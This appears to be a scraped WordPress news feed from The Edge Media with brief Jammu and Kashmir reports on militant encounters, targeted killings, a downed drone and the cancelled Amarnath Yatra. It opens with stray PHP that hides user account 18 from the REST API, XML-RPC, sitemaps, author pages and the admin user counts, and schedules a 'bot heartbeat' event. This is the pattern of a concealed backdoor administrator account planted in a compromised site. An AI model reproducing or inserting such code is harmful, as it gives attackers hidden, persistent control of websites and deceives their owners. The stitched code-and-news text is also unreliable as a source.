add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post J&K: Two non-locals were killed in a targeted attack in Kulgam, and migrant workers were relocated to safe camps appeared first on The Edge Media.
]]>
In a message flashed to all 10 district police chiefs in the Valley, IGP (Kashmir) Vijay Kumar said: “All non-local laborers in your respective jurisdiction should be brought to the nearest police or central paramilitary force or Army establishment just now.”
The post J&K: Two non-locals were killed in a targeted attack in Kulgam, and migrant workers were relocated to safe camps appeared first on The Edge Media.
]]>The post Pilot Missing 20 Days After Helicopter Crash, Army Says “Fully Committed To Retrieving” appeared first on The Edge Media.
]]>The Army has also said it ”empathises with the grief of relatives of the crew”.
The remains of one of the pilots on board, Lieutenant Colonel A S Batth, was recovered from the reservoir on August 15.
Neel Joshi, brother of the missing pilot Captain Jayant Joshi, told NDTV yesterday that the family is disappointed with the equipment being used in the search operation.
The post Pilot Missing 20 Days After Helicopter Crash, Army Says “Fully Committed To Retrieving” appeared first on The Edge Media.
]]>The post Three Militants were Slain in Pulwama, J&K appeared first on The Edge Media.
]]>In today’s encounter, Inspector General of Police Vijay Kumar said that JeM militant Shah was neutralized. He was engaged in the assassination of BJP leader Rakesh Pandita.
The Army has been conducting search operations in the upper portions of the Nagaberan and Dacchigam Forests since August 17.
The Army stated that contact with militants was established around 6.45 a.m. on August 20. They were found with two AK-47 weapons, one SLR, and other war-related items.
The post Three Militants were Slain in Pulwama, J&K appeared first on The Edge Media.
]]>The post Militant shot dead in J&k’s Budgam. appeared first on The Edge Media.
]]>Security forces launched a search operation in the Mochuwa area of Budgam district following inputs about the presence of militants there,a police official said.
He said the search operations turned into an encounter after militants fired upon the forces, who retaliated.
“One terrorist was killed in the encounter . An AK assault rifle and one pistol were recovered from the slain terrorist”, the official said. The identity and group affiliation of the slain militant is being ascertained , he said , adding the search operations in the areas are going on.
The post Militant shot dead in J&k’s Budgam. appeared first on The Edge Media.
]]>The post Explosives-laden Pakistani drone shot down in Jammu and Kashmir ‘s Akhnoor by police. appeared first on The Edge Media.
]]>After receiving reports of a drone being spotted at midnight, the J&K Police shot it down. Police also recovered an improvised explosive device from the Unmanned Aerial Vehicle (UAV). Earlier, Jammu and Kashmir DGP Dilbag Singh had issued directions to officers to remain vigilant as terror outfits are continuously trying to use drones for terrorist activities.”Terror outfits are continuously attempting to use drones for terrorist activities,” DGP Dilbag Singh had told PTI.Since the drone attack at the Jammu air force airbase on June 27, several drones have been spotted on multiple locations in Jammu in the last one month raising the threat of another drone attack.
The post Explosives-laden Pakistani drone shot down in Jammu and Kashmir ‘s Akhnoor by police. appeared first on The Edge Media.
]]>The post J&K government cancells Amarnath Yatra due to Covid. appeared first on The Edge Media.
]]>“Shri Amarnathji Yatra cancelled in wake of Covid-19 Pandemic. Decision after threadbare discussion with Shri Amarnathji Shrine Board members. Yatra to be symbolic only. However, all the traditional religious rituals shall be performed at the Holy Cave Shrine as per past practice,” tweeted the office of L&G Manoj Sinha.

The 56-day yatra to the 3,880-metre-high cave shrine of Lord Shiva, located in the upper reaches of Himalayas, was supposed to start from the twin routes of Pahalgam and Baltal on June 28 and culminate on August 22.
The pilgrimage was cancelled in 2020 as well due to the pandemic.
However, Shri Amarnath Ji Shrine Board said it will arrange online darshan for all the devotees worldwide.
The post J&K government cancells Amarnath Yatra due to Covid. appeared first on The Edge Media.
]]>